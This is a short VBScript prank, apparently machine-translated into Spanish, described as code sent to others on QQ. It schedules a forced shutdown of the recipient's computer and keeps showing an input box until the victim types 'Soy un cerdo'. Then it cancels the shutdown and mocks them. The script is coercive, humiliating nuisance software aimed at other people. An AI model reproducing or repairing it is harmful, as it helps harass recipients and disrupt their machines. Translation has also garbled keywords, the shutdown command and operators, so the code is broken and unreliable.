El código VBE se envía a otros en QQ diciendo Soy un cerdo.

en caso de error, reanudar siguiente

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c apagado -r -t 30 -c ""Si dices que soy un chico guapo, apagaré tu computadora en medio minuto si no dices que soy un chico guapo. Si no No me creas, intenta"" ", 0, true

atenuar a

do while(a lt; gt; "Soy un cerdo")

a = inputbox ("Si dices que soy un cerdo o un perro, no apagues el teléfono, date prisa y di ""Soy un cerdo"" ", "Di no decir", "No digas ", 8000, 7000)

msgbox chr(13) chr(13) chr(13) a, 0, "MsgBox "

bucle

msgbox chr (13) chr(13) chr(13) "Solo dímelo antes"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c apagado -a", 0, verdadero

msgbox chr(13 ) chr(13) chr(13) "Jajajaja, muy divertido"